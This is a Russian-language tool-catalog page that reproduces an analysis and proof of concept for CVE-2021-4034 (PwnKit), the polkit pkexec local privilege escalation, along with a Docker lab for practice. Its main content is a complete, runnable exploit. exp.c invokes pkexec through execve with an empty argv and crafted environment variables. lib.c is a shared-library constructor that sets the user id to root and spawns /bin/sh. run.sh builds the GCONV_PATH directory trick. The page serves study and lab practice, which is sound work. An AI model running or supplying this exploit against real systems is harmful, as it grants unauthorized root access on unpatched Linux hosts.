Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/chenaotian/cve-2021-4034
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubchenaotian/cve-2021-4034

CVE-2021-4034

Подробное описание и эксплойт для доказательства концепции для CVE-2021-4034 (PolKit pkexec локальное повышение привилегий), включая среду лаборатории Docker для практического анализа и отладки.

Репозиторий
123104 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-4034 Анализ локального повышения привилегий PolKit

[toc]

Краткое описание уязвимости

Идентификатор уязвимости: CVE-2021-4034

Оценка уязвимости:

Продукт: linux PolKit (pkexec)

Затрагиваемые версии: версии с 2009 года по настоящее время (текущая 0.105) Ссылка: http://its.dlut.edu.cn/info/1054/78309.htm

Условия эксплуатации: локальный доступ в Linux; pkexec — SUID-файл с правами на выполнение

Получение исходного кода: apt source policykit-1 или https://launchpad.net/ubuntu/bionic/+package/policykit-1

Среда Docker

Среда Docker: chenaotian/cve-2021-4034

Мой собственный Docker-образ предоставляет:

  1. pkexec, скомпилированный с возможностью отладки по исходному коду
  2. glibc с отладочными символами (похоже, бесполезно)
  3. gdb и плагины gdb pwngdb & pwndbg (похоже, необязательно)
  4. Эксплойты в отладочной среде

Всё находится в каталоге /root/:

image-20220126183638493

  • Каталог exp содержит файлы exp и run.sh; можно переключиться на пользователя test командой su test и запустить
  • glibc-2.27 — каталог исходного кода glibc, скорее всего не понадобится, но пригодится для отладки исходного кода в gdb
  • polkit-0.105 — исходный пакет policykit

Запуск Docker:

root@kitploit:~
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash

Тестирование эксплойта:

root@kitploit:~
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami

Принцип уязвимости

Уязвимость затрагивает команду pkexec из пакета polkit. pkexec похож на sudo — это инструмент, позволяющий выполнять команды от имени другого пользователя (обычно root). С помощью команды dpkg можно узнать, к какому пакету принадлежит pkexec:

root@kitploit:~
dpkg -S /usr/bin/pkexec

image-20220126152839307

Затем можно получить исходный пакет (он также есть в моём Docker-образе) и скомпилировать отладочную версию для удобства анализа.

Точка срабатывания уязвимости

/polkit-0.105/src/programs/pkexec.c : 386 main

root@kitploit:~
int
main (int argc, char *argv[])
{
    
  ··· ···
  ··· ···
      
  /* 这段的意思就是,循环遍历用户输入参数,根据输入的不同参数设置值
   * 但问题在于,他循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
   */
  for (n = 1; n < (guint) argc; n++) 
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      ··· ···
      else //如果是无法识别的参数则跳出循环,这里意味着该参数是想要执行的命令
        {
          break;
        }
    }

  ··· ···

  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]); //获取执行命令具体字符串
  if (path == NULL)
    {
      ···
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      //该函数会根据PATH环境变量寻找要执行命令的绝对地址
      s = g_find_program_in_path (path); 
      if (s == NULL)
        {
          ···
        }
      g_free (path);
      argv[n] = path = s;//把获取到的绝对地址修改回命令行参数
    }
  ··· ···
  ··· ···

Анализ на основе комментариев в коде:

  1. В функции main выполняется установка переменных на основе аргументов командной строки. Однако цикл for начинается с 1, то есть подразумевается, что передан хотя бы один аргумент (команда, которую нужно выполнить через pkexec).
  2. Если найден аргумент, не начинающийся с --, он считается командой для выполнения. Цикл прерывается, и выполняется дальнейшая логика.
  3. Вызывается функция g_find_program_in_path, которая ищет абсолютный путь к команде в переменной PATH. Например, для cat вернёт /bin/cat.
  4. Полученный абсолютный путь записывается обратно в массив аргументов (то есть команда заменяется полным путём к файлу).

Всё понятно, но проблема в следующем:

  1. При запуске двоичного файла Linux аргументы командной строки argv[] и переменные окружения environ[] помещаются в нижнюю часть стека, причём они расположены последовательно. Последний элемент argv[] равен null.

    image-20220126162140802

  2. Если pkexec запускается из командной строки без дополнительных аргументов, то argv[0] равен "pkexec", а argv[1] равен \x00. Всё нормально. Но если pkexec запускается с помощью execve без дополнительных аргументов, то argv[0] равен \x00, и указывает на первую переменную окружения! При чтении происходит выход за границы массива — читается .

К чему это приводит? Когда execve запускается без аргументов, длина argv[] равна 0, и argv[1] указывает на environ[0]. Таким образом, описанная выше логика превращается в: взять значение первой переменной окружения и найти её абсолютный путь в PATH. Если найден, записать обратно в первую переменную окружения. Тогда способ эксплуатации выглядит следующим образом:

Эксплуатация уязвимости

Сначала важно отметить, что pkexec — это привилегированный файл (suid):

image-20220126161324831

Как использовать переменные окружения в привилегированном файле? Сначала разберём одну деталь:

Одна деталь

Динамический компоновщик Linux ld-linux-x86-64.so.2 очищает конфиденциальные переменные окружения при выполнении привилегированной программы:

root@kitploit:~
void
_dl_non_dynamic_init (void)
{
  ··· ···
  ··· ···

  if (__libc_enable_secure) //特权模式的情况下
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;

      //循环将危险环境变量列表中的环境变量全部清空(unset)
      while (cp < unsecure_envvars + sizeof (unsecure_envvars)) 
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
    }
··· ···
··· ···
}

Список опасных переменных окружения UNSECURE_ENVVARS определён следующим образом:

root@kitploit:~
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"

Когда программа обнаруживает, что является привилегированной (suid), она очищает эти переменные. Как видно, большинство из них относятся к серии LD_, которые могут указывать пути загрузки динамических библиотек. Это предотвращает загрузку suid-программой недоверенных .so через эти переменные, что могло бы привести к выполнению вредоносного кода и повышению привилегий.

В данном случае у нас есть одна возможность произвольной записи в переменные окружения. Наша идея эксплуатации — попытаться использовать что-то из тех переменных окружения, которые обычно не передаются suid-программам.

Принцип эксплуатации

Поскольку PoC уже опубликован, теперь всё просто. В данном случае использован PoC от arthepsy. Содержание простое, но из этого PoC видно, что ключевая переменная окружения — GCONV_PATH. Она действительно входит в список опасных переменных, и даже стоит первой!

Функция iconv_open() запрашивает дескриптор преобразования для преобразования последовательности символов из кодировки fromcode в кодировку tcode. Дескриптор содержит состояние преобразования. Функция iconv_open() сначала находит системный файл gconv-modules, который содержит пути к информации о наборах символов, хранящейся в файлах .so. Затем, следуя указаниям gconv-modules, она загружает соответствующий .so и выполняет конкретные действия. Если установлена переменная окружения GCONV_PATH, то iconv_open() будет искать gconv-modules по пути, указанному в GCONV_PATH; остальное без изменений.

То есть переменная GCONV_PATH имеет функционал, аналогичный LD_LIBRARY_PATH: она указывает, где iconv_open() ищет файлы .so. Если мы сможем подделать GCONV_PATH, затем подделать gconv-modules и в конце подделать .so, то сможем загрузить произвольную библиотеку и выполнить произвольный код.

Общая идея:

  1. Создать каталог с именем GCONV_PATH=..

  2. В каталоге GCONV_PATH=. создать файл с именем pwnkitdir с правами на выполнение.

  3. Создать каталог с именем pwnkitdir.

  4. В каталоге pwnkitdir создать файл gconv-modules со следующим содержимым:

    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  5. В каталог pwnkitdir поместить вредоносную библиотеку pwnkit.so, содержащую код получения оболочки.

  6. Установить соответствующие переменные окружения:

    1. Первая переменная: pwnkitdir
    2. Вторая переменная: PATH=GCONV_PATH=.. Тогда функция g_find_program_in_path сформирует путь , который соответствует формату переменной окружения. При этом каталог существует, и файл тоже существует.

После этого всё срабатывает. Конкретный эксплойт:

Эксплойт

exp.c

root@kitploit:~
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意路径根据实际情况修改哦
}

lib.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

run.sh

root@kitploit:~
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp

Успешная эксплуатация:

image-20220126182231579

Меры по смягчению

Обновите до последней версии.

Ссылки

Раскрытие уязвимости: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

PoC от arthepsy: https://github.com/arthepsy/CVE-2021-4034

Скачать инструмент
argv[1]
argv[1]
environ[0]

При запуске pkexec из командной строки argc равно 1, argv[0] — путь к pkexec:

image-20220126162616203

При запуске pkexec с помощью execve argc равно 0:

image-20220126162804529

GCONV_PATH=./pwnkitdir
./pwnkitdir
GCONV_PATH=./pwnkitdir
  • Переменная CHARSET=PWNKIT будет использоваться до вызова iconv_open для поиска .so в gconv-modules.
  • Переменная SHELL=xxx также используется до вызова iconv_open.
  • Запустить pkexec с помощью execve без аргументов, передав установленные выше переменные окружения.